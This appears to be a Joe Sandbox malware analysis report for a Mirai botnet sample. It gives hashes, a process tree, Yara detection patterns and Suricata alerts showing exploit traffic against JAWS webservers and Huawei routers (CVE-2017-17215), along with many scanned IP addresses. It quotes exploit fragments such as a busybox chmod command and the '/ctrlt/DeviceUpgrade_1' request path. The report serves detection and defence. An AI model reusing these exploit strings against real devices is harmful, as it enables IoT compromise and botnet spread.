Edit tour

Linux Analysis Report
z0r0.x86.elf

Overview

General Information

Sample name:	z0r0.x86.elf
Analysis ID:	1584426
MD5:	1fd64dd326aedc86f9e5cd89016afeb7
SHA1:	2f0d7b674458f08ab9af952e7bed0b8b1871f224
SHA256:	a297dc164481a17e147069520c0c9ad0463078d7ea0879843d57e35d0b85d5c1
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Machine Learning detection for sample

Sample is packed with UPX

Sample tries to kill multiple processes (SIGKILL)

Uses known network protocols on non-standard ports

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

ELF contains segments with high entropy indicating compressed/encrypted content

Enumerates processes within the "proc" file system

HTTP GET or POST without a user agent

Sample contains only a LOAD segment without any section mappings

Sample tries to kill a process (SIGKILL)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584426
Start date and time:	2025-01-05 14:26:01 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	z0r0.x86.elf
Detection:	MAL
Classification:	mal100.spre.troj.evad.linELF@0/0@49/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: tojaubec.shop

Runtime Messages

Command:	/tmp/z0r0.x86.elf
PID:	5441
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	unstable_is_the_history_of_universe
Standard Error:

Process Tree

system is lnxubuntu20

z0r0.x86.elf (PID: 5441, Parent: 5367, MD5: 1fd64dd326aedc86f9e5cd89016afeb7) Arguments: /tmp/z0r0.x86.elf

z0r0.x86.elf New Fork (PID: 5442, Parent: 5441)

z0r0.x86.elf New Fork (PID: 5443, Parent: 5442)

z0r0.x86.elf New Fork (PID: 5444, Parent: 5442)

z0r0.x86.elf New Fork (PID: 5445, Parent: 5442)

z0r0.x86.elf New Fork (PID: 5447, Parent: 5442)

z0r0.x86.elf New Fork (PID: 5448, Parent: 5442)

xfce4-panel New Fork (PID: 5459, Parent: 3147)

wrapper-2.0 (PID: 5459, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"

xfce4-panel New Fork (PID: 5460, Parent: 3147)

wrapper-2.0 (PID: 5460, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"

xfce4-panel New Fork (PID: 5461, Parent: 3147)

wrapper-2.0 (PID: 5461, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"

xfce4-panel New Fork (PID: 5462, Parent: 3147)

wrapper-2.0 (PID: 5462, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"

wrapper-2.0 New Fork (PID: 5479, Parent: 5462)

xfpm-power-backlight-helper (PID: 5479, Parent: 5462, MD5: 3d221ad23f28ca3259f599b1664e2427) Arguments: /usr/sbin/xfpm-power-backlight-helper --get-max-brightness

xfce4-panel New Fork (PID: 5463, Parent: 3147)

wrapper-2.0 (PID: 5463, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"

xfce4-panel New Fork (PID: 5464, Parent: 3147)

wrapper-2.0 (PID: 5464, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"

dbus-daemon New Fork (PID: 5478, Parent: 5477)

xfconfd (PID: 5478, Parent: 5477, MD5: 4c7a0d6d258bb970905b19b84abcd8e9) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd

systemd New Fork (PID: 5488, Parent: 2935)

xfce4-notifyd (PID: 5488, Parent: 2935, MD5: eee956f1b227c1d5031f9c61223255d1) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
5443.1.0000000008048000.0000000008058000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5443.1.0000000008048000.0000000008058000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5443.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_fa3ad9d0	unknown	unknown	0x46a:$a: CB 08 C1 CB 10 66 C1 CB 08 31 C9 8A 4F 14 D3 E8 01 D8 66 C1
5443.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x55f0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
5443.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_93fc3657	unknown	unknown	0x4f5:$a: 00 00 00 89 44 24 60 89 D1 31 C0 8B 7C 24 28 FC F3 AB 89 D1 8B 7C
5443.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_804f8e7c	unknown	unknown	0x39b:$a: 31 ED 81 E1 FF 00 00 00 89 4C 24 58 89 EA C6 46 04 00 C1 FA 1F
5443.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_99d78950	unknown	unknown	0xfc1:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x10a1:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1176:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1421:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x18a3:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00
5443.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_a68e498c	unknown	unknown	0x2b3:$a: 10 39 D0 7E 25 8B 4C 24 38 01 D1 8A 11 8D 42 9F 3C 19 77 05 8D
5443.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xba52:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
5443.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_ae9d0fa6	unknown	unknown	0x22b2:$a: 83 EC 04 8A 44 24 18 8B 5C 24 14 88 44 24 03 8A 44 24 10 25 FF 00
5443.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xd966:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
5443.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xc48d:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
5443.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xba22:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
5441.1.0000000008048000.0000000008058000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5441.1.0000000008048000.0000000008058000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5443.1.0000000008048000.0000000008058000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0xebe3:$x2: /bin/busybox chmod 777 * /tmp/ 0xe938:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0xe8a0:$s3: POST /cdn-cgi/
5441.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_fa3ad9d0	unknown	unknown	0x46a:$a: CB 08 C1 CB 10 66 C1 CB 08 31 C9 8A 4F 14 D3 E8 01 D8 66 C1
5441.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x55f0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
5441.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_93fc3657	unknown	unknown	0x4f5:$a: 00 00 00 89 44 24 60 89 D1 31 C0 8B 7C 24 28 FC F3 AB 89 D1 8B 7C
5441.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_804f8e7c	unknown	unknown	0x39b:$a: 31 ED 81 E1 FF 00 00 00 89 4C 24 58 89 EA C6 46 04 00 C1 FA 1F
5441.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_99d78950	unknown	unknown	0xfc1:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x10a1:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1176:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1421:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x18a3:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00
5441.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_a68e498c	unknown	unknown	0x2b3:$a: 10 39 D0 7E 25 8B 4C 24 38 01 D1 8A 11 8D 42 9F 3C 19 77 05 8D
5441.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xba52:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
5441.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_ae9d0fa6	unknown	unknown	0x22b2:$a: 83 EC 04 8A 44 24 18 8B 5C 24 14 88 44 24 03 8A 44 24 10 25 FF 00
5441.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xd966:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
5441.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xc48d:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
5441.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xba22:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
5441.1.0000000008048000.0000000008058000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0xebe3:$x2: /bin/busybox chmod 777 * /tmp/ 0xe938:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0xe8a0:$s3: POST /cdn-cgi/
Process Memory Space: z0r0.x86.elf PID: 5441	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: z0r0.x86.elf PID: 5443	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 25 entries

Suricata Signatures

ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T14:27:00.093430+0100	2030092	1	Web Application Attack	192.168.2.13	35984	174.78.99.129	80	TCP
2025-01-05T14:27:00.273430+0100	2030092	1	Web Application Attack	192.168.2.13	44540	105.173.184.192	80	TCP
2025-01-05T14:27:00.348534+0100	2030092	1	Web Application Attack	192.168.2.13	32958	213.52.106.216	80	TCP
2025-01-05T14:27:01.179009+0100	2030092	1	Web Application Attack	192.168.2.13	52402	54.76.185.62	80	TCP
2025-01-05T14:27:03.056182+0100	2030092	1	Web Application Attack	192.168.2.13	38494	126.184.49.221	80	TCP
2025-01-05T14:27:05.590905+0100	2030092	1	Web Application Attack	192.168.2.13	45458	37.84.148.81	80	TCP

ET MALWARE Mirai Variant User-Agent (Outbound)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T14:27:00.093430+0100	2029034	1	Web Application Attack	192.168.2.13	35984	174.78.99.129	80	TCP
2025-01-05T14:27:00.273430+0100	2029034	1	Web Application Attack	192.168.2.13	44540	105.173.184.192	80	TCP
2025-01-05T14:27:00.348534+0100	2029034	1	Web Application Attack	192.168.2.13	32958	213.52.106.216	80	TCP
2025-01-05T14:27:01.179009+0100	2029034	1	Web Application Attack	192.168.2.13	52402	54.76.185.62	80	TCP
2025-01-05T14:27:03.056182+0100	2029034	1	Web Application Attack	192.168.2.13	38494	126.184.49.221	80	TCP
2025-01-05T14:27:05.590905+0100	2029034	1	Web Application Attack	192.168.2.13	45458	37.84.148.81	80	TCP

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T14:26:56.153834+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53872	197.7.160.89	37215	TCP
2025-01-05T14:27:08.779351+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50974	156.237.79.160	37215	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: z0r0.x86.elf	Virustotal: Detection: 44%			Perma Link
Source: z0r0.x86.elf	ReversingLabs: Detection: 73%

Machine Learning detection for sample

Source: z0r0.x86.elf

Joe Sandbox ML: detected

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53872 -> 197.7.160.89:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:44540 -> 105.173.184.192:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:44540 -> 105.173.184.192:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:32958 -> 213.52.106.216:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:32958 -> 213.52.106.216:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:35984 -> 174.78.99.129:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:35984 -> 174.78.99.129:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:52402 -> 54.76.185.62:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:52402 -> 54.76.185.62:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:38494 -> 126.184.49.221:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:38494 -> 126.184.49.221:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:45458 -> 37.84.148.81:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:45458 -> 37.84.148.81:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:50974 -> 156.237.79.160:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 197.35.34.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.61.116.114 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.111.253.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.190.149.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.134.114.68 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.5.5.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.133.180.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.115.157.219 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.206.15.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.80.122.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.128.214.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.18.122.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.167.127.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.119.224.112 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.181.52.246 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.77.41.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.125.13.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.193.220.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.17.164.22 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.238.89.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.79.21.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.178.140.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.47.151.36 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.141.5.93 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.124.114.243 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.88.36.11 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.254.196.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.203.52.84 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.165.74.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.200.187.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.204.27.238 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.144.30.68 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.3.177.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.249.102.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.137.221.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.232.125.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.207.33.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.14.85.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.157.111.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.19.174.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.34.108.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.212.8.178 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.11.16.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.140.140.125 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.17.90.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.29.20.56 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.141.45.12 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.126.112.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.48.145.127 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.226.142.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.160.129.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.120.28.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.83.93.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.229.169.80 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.135.180.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.139.69.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.103.10.205 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.139.237.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.17.202.88 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.223.235.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.119.187.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.121.255.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.25.22.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.192.187.51 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.248.134.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.102.125.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.33.176.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.250.154.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.183.99.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.209.31.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.6.16.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.72.52.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.175.185.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.108.3.233 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.35.31.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.250.33.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.174.86.96 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.79.134.134 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.32.88.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.176.227.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.235.50.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.176.126.6 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.12.109.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.123.13.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.158.135.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.123.72.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.82.124.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.71.154.10 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.233.136.131 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.169.203.155 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.253.47.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.22.114.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.140.195.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.189.66.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.22.92.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.198.199.206 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.247.198.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.109.70.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.169.66.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.221.172.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.35.252.236 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.28.18.185 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.190.8.194 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.93.186.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.157.58.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.241.203.241 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.165.7.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.9.132.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.197.70.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.218.209.199 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.222.150.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.139.119.56 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.194.236.219 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.208.43.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.172.19.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.214.205.13 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.31.224.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.41.179.209 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.132.43.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.100.74.36 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.212.1.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.159.18.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.211.74.4 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.84.90.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.52.187.170 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.224.53.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.43.47.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.47.179.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.234.53.109 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.222.218.83 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.101.84.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.172.90.31 ports 1,2,3,5,7,37215
